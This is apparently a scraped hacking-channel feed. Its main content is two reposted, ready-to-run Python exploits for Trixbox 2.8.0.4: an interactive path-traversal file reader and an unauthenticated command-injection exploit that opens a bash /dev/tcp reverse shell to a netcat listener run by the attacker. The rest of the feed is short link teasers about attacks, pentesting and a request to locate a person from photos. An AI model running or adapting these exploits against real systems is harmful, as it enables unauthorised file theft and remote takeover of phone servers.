Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Trixbox 2.8.0.4 Path Traversal

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Trixbox version 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.

MD5 | ebe53272a318e753d01ffa4b44a12413

Download

# Exploit Title: Trixbox 2.8.0.4 - 'lang' Path Traversal
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14537

'''
Description:
trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the
lang parameter to /maint/modules/home/index.php.
'''
'''
Import required modules:
'''
import requests
import sys
import urllib.parse
'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
'''
Construct malicious request:
'''
# Constructing header:
header = {
'Host': target_ip,
'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': 'template=classic; lng=en; lng=en',
'Upgrade-Insecure-Requests': '1',
'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
}

# Constructing malicious link (payload):
base_link = 'http://' + target_ip + ':' + target_port
base_link_addon_1 = '/maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
base_link_addon_3 = '%00english'
print('')
base_link_addon_2 = input('Input the filepath or input EXIT: ')
'''
EXPLOIT:
'''
while base_link_addon_2 != 'EXIT':
base_link_addon_2_coded = urllib.parse.quote(base_link_addon_2, safe='')
exploit_link = base_link + base_link_addon_1 + base_link_addon_2_coded + base_link_addon_3
print('')
exploit = requests.post(exploit_link, headers=header)
print('Contents of ' + base_link_addon_2 + ':')
for data in exploit.iter_lines():
data = data.decode('utf-8')
if data != '':
print(data)
else:
break
print('')
base_link_addon_2 = input('Input the filepath or input EXIT: ')

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Trixbox 2.8.0.4 Path Traversal

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Trixbox 2.8.0.4 Remote Code Execution

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Trixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.

MD5 | b20a34f5709b4607d3383fa6db1f537f

Download

# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14535

'''
Description:
trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php
'''
'''
Import required modules:
'''
import requests
import sys
import time
'''
User-input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
listen_ip = sys.argv[3]
listen_port = sys.argv[4]
'''
Construct malicious request:
'''
# Construct header:
header = {
'Host': target_ip,
'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}

# Construct malicious link:
link_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'
link_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'
link = link_p1 + link_p2
'''
Finish: EXPLOIT!!!
'''
print('')
print('')
print('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)
print('')
time.sleep(2)
Ready = input("If you're done and want to start the exploit please input EXPLOIT: ")
if Ready == 'EXPLOIT':
print('')
print('Exploit sent, check your Netcat instance :)')
x = requests.post(link, headers=header)
else:
print('TRY AGAIN')

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Trixbox 2.8.0.4 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

5 views18:23

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
SolarWinds Attackers Impersonate USAID in Advanced Email Campaign

Microsoft shares the details of a wide-scale malicious email campaign attributed to Nobelium, the group linked to the SolarWinds supply chain attack.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

SolarWinds Attackers Impersonate USAID in Advanced Email Campaign

Microsoft shares the details of a wide-scale malicious email campaign attributed to Nobelium, the group linked to the SolarWinds supply chain attack.

6 viewsedited 18:23

Hacking Articles Tips Tricks Videos Tutorials

7 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
AD Lab: External Pentesting

https://cdn-images-1.medium.com/max/1245/1*AeJ1s4WI0kTRa58mcEybLw.png
Learn about Active Directory penetration testing enumeration and exploitation using tools like Impacket, Kerbrute, and CrackMapExec…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

🖥Active Directory Lab: Enumeration and Exploitation 🔐

Learn about Active Directory penetration testing enumeration and exploitation using tools like Impacket, Kerbrute, and CrackMapExec…

9 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

8 views18:29

Hacking Articles Tips Tricks Videos Tutorials

8 views18:29

Hacking Articles Tips Tricks Videos Tutorials

7 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Abuse Service Registry ACLs — Windows PrivEsc

https://cdn-images-1.medium.com/max/1650/1*EWeCPiZni3TcgcBoF_LINA.jpeg
Continue reading on R3d Buck3T »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Abuse Service Registry ACLs — Windows PrivEsc

Windows registry is a collection of databases that store low-level configuration settings for the operating system and its installed programs. The settings contain information that is continuously…

5 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

5 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Learning Path for Cyber Security

https://cdn-images-1.medium.com/max/600/1*Uf9aktks1t7XfcRN1D5txQ.jpeg
How to Gain Practical Cybersecurity Experience

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Learning Path for Cyber Security

How to Gain Practical Cybersecurity Experience

7 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Great things about ISO 27001 Certification

https://cdn-images-1.medium.com/max/2560/1*Zb3dTYDy4E0chtOLeBKGLA.png
What exactly is an ISMS?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Great things about ISO 27001 Certification

What exactly is an ISMS?

9 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

9 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Comprehensive information gathering with Maltego

https://cdn-images-1.medium.com/max/600/1*jYCz9EsuEFn-U_Qj45tYFg.png
Maltego is an intelligent information mining tool that renders coordinated charts for connection analysis. The device is used in online…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Comprehensive information gathering with Maltego

Maltego is an intelligent information mining tool that renders coordinated charts for connection analysis. The device is used in online…

9 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Gizliliyin qorunması (IP və Mac adres dəyişmə)

https://cdn-images-1.medium.com/max/600/1*uNstRI3EGQERb0ALbJpxLA.jpeg
Bir hücuma keçmədən əvvəl təməl olaraq gizliliyin qorunması üçün bir sıra dəyişikliklər etmək lazımdır.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Gizliliyin qorunması (IP və Mac adres dəyişmə)

Bir hücuma keçmədən əvvəl təməl olaraq gizliliyin qorunması üçün bir sıra dəyişikliklər etmək lazımdır. Bunların ən əsası IP və MAC adresin…

14 viewsedited 18:29

Hacking Articles Tips Tricks Videos Tutorials

Deep Web
Help me find a person

I've got a few pics of him and I know the name. Nothing else. I can't find him.

submitted by /u/disisbeyondscience
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Help me find a person

I've got a few pics of him and I know the name. Nothing else. I can't find him.

11 viewsedited 19:30

Hacking Articles Tips Tricks Videos Tutorials

My First HOF(Hall of Fame)

Hello everyone, I am Rishabh Singh, today I want to tell you how I started and how I got my first HOF.Continue reading on Medium »
Read more...

9 views19:45

Hacking Articles Tips Tricks Videos Tutorials

My First HOF(Hall of Fame)
https://rsbarsania.medium.com/my-first-hof-hall-of-fame-f93e16b19b4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

My First HOF(Hall of Fame)

Hello everyone, I am Rishabh Singh, today I want to tell you how I started and how I got my first HOF.

6 viewsedited 19:51

Hacking Articles Tips Tricks Videos Tutorials

5 views19:51

Hacking Articles Tips Tricks Videos Tutorials

Hello everyone, I am Rishabh Singh, today I want to tell you how I started and how I got my first HOF.Continue reading on Medium » (https://rsbarsania.medium.com/my-first-hof-hall-of-fame-f93e16b19b4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium